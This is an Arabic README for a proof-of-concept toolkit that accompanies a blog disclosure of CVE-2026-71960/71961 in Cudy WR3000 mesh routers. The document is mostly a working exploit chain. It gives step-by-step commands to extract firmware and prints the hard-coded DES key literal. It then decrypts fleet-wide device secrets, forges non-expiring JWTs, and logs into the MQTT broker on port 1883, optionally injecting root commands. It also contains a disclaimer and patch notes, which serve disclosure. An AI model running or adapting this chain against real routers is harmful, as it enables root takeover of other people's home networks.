
مجموعة أدوات PoC تفكّ ضغط البرامج الثابتة للراوتر، وتفكّ شيفرة أسرار الأجهزة، وتزوّر رموز JWT، وتستغل CVE-2026-71960/71961 للاستيلاء على وسطاء MQTT في شبكة Cudy WR3000 mesh.
أدوات PoC لمقال Hunt-Benito «المفتاح نفسه يفتح كل الأقفال: CVE-2026-71960 — سر JWT مكتوب بشكل ثابت في وسيط MQTT الشبكي لجهاز Cudy WR3000» (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
يترابط مع CVE-2026-71961 (حقن أوامر نظام عبر واجهة MQTT الشبكية نفسها) للوصول إلى تنفيذ أوامر بصلاحيات الجذر على كل عقدة من عقد شبكة Cudy WR3000 2.0 التي تعمل بإصدار البرنامج الثابت الأقدم من 2.5.24.
| الملف | الغرض |
|---|---|
extract_firmware.py | فك ضغط ملف .bin عام من نوع sysupgrade الخاص بـ Cudy (hboot1tag + UBI) إلى نظام ملفات OpenWrt كامل. تم التحقق منه مع 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | اشتقاق مفتاح DES (DES_string_to_key("88T3j05dtFu8=")، IV صفري — مستخرج من libbdinfo.so) وفك تشفير تفريغ MTD لـ bdinfo من جهازك الخاص، ليكشف deviceid والـ secret المشترك على مستوى الأسطول. |
forge_jwt.py | سكّ رمز HS256 يلبي كل الفحوصات في mosquitto_auth_unpwd_check (حد أدنى لـ exp هو 1577826000، ومنح اسم مستخدم يحتوي على deviceid). يتحقق ذاتيًا من الاسترجاع. |
mqtt_takeover.py | الاتصال بـ CONNECT بالوسيط على منفذ TCP 1883 باستخدام JWT المزور، والاشتراك في router/#، و(اختياريًا، --cmd) استغلال مسار command.lua ← io.popen الخاص بـ CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. فك البرنامج الثابت العام (لا حاجة لجهاز)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. التأكد من أن حرف مفتاح DES موجود في الصورة
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. فك تشفير تفريغ bdinfo من جهازك الخاص (الإصدار 2.4.x يعرض /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. سك رمز للـ deviceid/secret المستخرجين
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. سلبي: المصادقة والاستماع على الشبكة
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so يستدعي bdinfo_get_value("deviceid") و
bdinfo_get_value("secret") عند بدء تشغيل الوسيط؛ قيمة secret هي
مفتاح توقيع HS256 لـ كل رموز JWT الخاصة بالشبكة.exp في الإضافة هو exp >= 1577826000 (2019-12-31T21:00:00Z)؛
نتيجة استدعاء time() لا تتم مقارنتها أبدًا — الرموز في الواقع لا تنتهي صلاحيتها أبدًا.alg: none مرفوض (EINVAL عند توفير مفتاح) — السر مطلوب فعلًا؛
لا يوجد اختصار عبر الخلط بين الخوارزميات.mosquitto_auth_acl_check() يعيد SUCCESS بدون شروط — أي اتصال CONNECT
مقبول يمنح صلاحيات قراءة/كتابة على كل المواضيع.0.0.0.0:1883 (الإصدار 2.4.x) يعني عدم الحاجة إلى
شهادة عميل TLS. البرنامج الثابت المُصحح 2.5.24 يحذف مستمع 1883، ويزيل
سر bdinfo بالكامل، ويعتمد على TLS المتبادل.للبحث الأمني المصرّح به والتعليم فقط. يُشغَّل حصريًا ضد أجهزة تمتلكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام.